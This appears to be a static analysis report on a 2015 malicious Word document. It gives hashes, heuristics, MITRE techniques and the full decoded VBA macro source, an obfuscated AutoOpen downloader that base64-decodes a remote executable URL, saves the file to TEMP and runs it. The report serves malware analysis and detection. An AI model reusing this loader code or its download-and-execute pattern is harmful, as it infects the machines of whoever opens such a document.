Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0425efe9926a2224…

MALICIOUS

Office (OLE)

34.0 KB Created: 2015-01-19 10:09:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: ff1c846d2fc66e2e61678755e6a45f78 SHA-1: 45028f391c5c70a5eb4f324d1caf83a6391c9cb7 SHA-256: 0425efe9926a2224ab2116142b769e924252320194a347f52d0800c6005caeec
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a critical heuristic for an obfuscated auto-exec VBA loader that uses CreateObject and Shell execution. The VBA script decodes a URL and filename, then uses CreateObject("Shell.Application") to execute a downloaded file. Specifically, it decodes the URL "http://elektromarket.cba.pl/js/bin.exe" and the filename "XLLAVUBLADJCL.exe" to be saved in the TEMP directory. This indicates the document's primary purpose is to act as a downloader for a second-stage payload.

Heuristics 7

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set ZNMPYFFKHMF = CreateObject(IWF0II4a(JTWAlwSMB))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set ZNMPYFFKHMF = CreateObject(IWF0II4a(JTWAlwSMB))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    sdfsdfsdf.Open Environ(IWF0II4a(oOUPR)) & IWF0II4a(bkRp4EmIEHl)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4233 bytes
SHA-256: 433a12a9e2a9da9f1ccafd3fd31a4f978bd70456f62e90b94885c20123b2e8f9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const QfmDLcA = "aHR0cDovL2VsZWt0cm9tYXJrZXQuY2JhLnBsL2pzL2Jpbi5leGU="
Private Const bkRp4EmIEHl = "XExBVlVCREFKTENELmV4ZQ=="
Private Const oOUPR = "VEVNUA=="
Private Const QoXvtVUK = "U2hlbGwuQXBwbGljYXRpb24="
Private Const gmgiLh = "Z2ZoZGZnc2Rn"
Private Const Lh2UI8IfTSJJ = "R0VU"
Private Const JTWAlwSMB = "TVNYTUwyLlhNTEhUVFA="
Private aDecTab(255) As Integer
Private Const YHg = "="
Private Const SEQjeSufc = "/"
Private Const jNv8XFecDC = "+"
Private Const dNCBqqiwE = "9"
Private Const ePZeX = "0"
Private Const OMm60OhvoT = "z"
Private Const hnEMr0yp = "a"
Private Const lka4A = "Z"
Private Const OHtV = "A"
Private Const Iav = " "

Sub NsCi()
 e2UWZEpCVQ
End Sub
Sub JyXsorj()
     NsCi
End Sub
Sub autoopen()
     NsCi
End Sub
Function XPBNSN(ByVal ADLSYXKPREO As String, ByVal IKDBZPEAYPQ As String) As Boolean
     Dim XJVojlA6AlK As Long, MQVWCEBVJCH As Long, KEXFJZFKHXC() As Byte

    Set ZNMPYFFKHMF = CreateObject(IWF0II4a(JTWAlwSMB))
    ZNMPYFFKHMF.Open IWF0II4a(Lh2UI8IfTSJJ), ADLSYXKPREO, False
    ZNMPYFFKHMF.Send IWF0II4a(gmgiLh)


    KEXFJZFKHXC = ZNMPYFFKHMF.responseBody

    MQVWCEBVJCH = FreeFile
    Open IKDBZPEAYPQ For Binary Access Write As #MQVWCEBVJCH
    Put #MQVWCEBVJCH, , KEXFJZFKHXC
    Close #MQVWCEBVJCH
    
Set sdfsdfsdf = CreateObject(IWF0II4a(QoXvtVUK))
sdfsdfsdf.Open Environ(IWF0II4a(oOUPR)) & IWF0II4a(bkRp4EmIEHl)
End Function
Sub e2UWZEpCVQ()
BHngijbjfdv = Environ(IWF0II4a(oOUPR)) & IWF0II4a(bkRp4EmIEHl)
sdnfhuijk = IWF0II4a(QfmDLcA)
     XPBNSN sdnfhuijk, BHngijbjfdv
End Sub


Public Function IWF0II4a(sEncoded As String) As String
Dim p8OROg2Ya As String
Dim d(3) As Byte
Dim C As Byte
Dim di As Integer
Dim i As Long
Dim SYTVw3OVtcQ As Long
Dim MILoam1NHP As Long
SYTVw3OVtcQ = Len(sEncoded)
p8OROg2Ya = String((SYTVw3OVtcQ \ 4) * 3, Iav)
MILoam1NHP = 0
di = 0
Call LEqE
' Read in each char in trun
For i = 1 To Len(sEncoded)
C = CByte(Asc(Mid(sEncoded, i, 1)))
C = aDecTab(C)
If C >= 0 Then
d(di) = C
di = di + 1
If di = 4 Then
Mid$(p8OROg2Ya, MILoam1NHP + 1, 3) = c3IyL8a(d)
MILoam1NHP = MILoam1NHP + 3
If d(3) = 64 Then
p8OROg2Ya = Left(p8OROg2Ya, Len(p8OROg2Ya) - 1)
MILoam1NHP = MILoam1NHP - 1
End If
If d(2) = 64 Then
p8OROg2Ya = Left(p8OROg2Ya, Len(p8OROg2Ya) - 1)
MILoam1NHP = MILoam1NHP - 1
End If
di = 0
End If
End If
Next i
 IWF0II4a = p8OROg2Ya
End Function
Private Function c3IyL8a(d() As Byte) As String
Dim C2OurROpo As String
Dim C As Long
C2OurROpo = vbNullString
C = ihX4AO6OBJbw(d(0)) Or (anfuBRZrOy(d(1)) And &H3)
C2OurROpo = C2OurROpo & Chr$(C)
C = s4OLJjiY(d(1) And &HF) Or (D2ULJbG1EKA(d(2)) And &HF)
C2OurROpo = C2OurROpo & Chr$(C)
C = jyQ(d(2) And &H3) Or d(3)
C2OurROpo = C2OurROpo & Chr$(C)
 c3IyL8a = C2OurROpo
End Function
Private Function LEqE()
Dim t As Integer
Dim C As Integer
For C = 0 To 255
aDecTab(C) = -1
Next
t = 0
For C = Asc(OHtV) To Asc(lka4A)
aDecTab(C) = t
t = t + 1
Next
For C = Asc(hnEMr0yp) To Asc(OMm60OhvoT)
aDecTab(C) = t
t = t + 1
Next
For C = Asc(ePZeX) To Asc(dNCBqqiwE)
aDecTab(C) = t
t = t + 1
Next
C = Asc(jNv8XFecDC)
aDecTab(C) = t
t = t + 1
C = Asc(SEQjeSufc)
aDecTab(C) = t
t = t + 1
C = Asc(YHg)
aDecTab(C) = t  ' should be 64
End Function
Private Function ihX4AO6OBJbw(ByVal bytValue As Byte) As Byte
 ihX4AO6OBJbw = (bytValue * &H4) And &HFF
End Function
Private Function s4OLJjiY(ByVal bytValue As Byte) As Byte
 s4OLJjiY = (bytValue * &H10) And &HFF
End Function
Private Function jyQ(ByVal bytValue As Byte) As Byte
 jyQ = (bytValue * &H40) And &HFF
End Function
Private Function D2ULJbG1EKA(ByVal bytValue As Byte) As Byte
 D2ULJbG1EKA = bytValue \ &H4
End Function
Private Function anfuBRZrOy(ByVal bytValue As Byte) As Byte
 anfuBRZrOy = bytValue \ &H10
End Function
Private Function o5ULA(ByVal bytValue As Byte) As Byte
 o5ULA = bytValue \ &H40
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.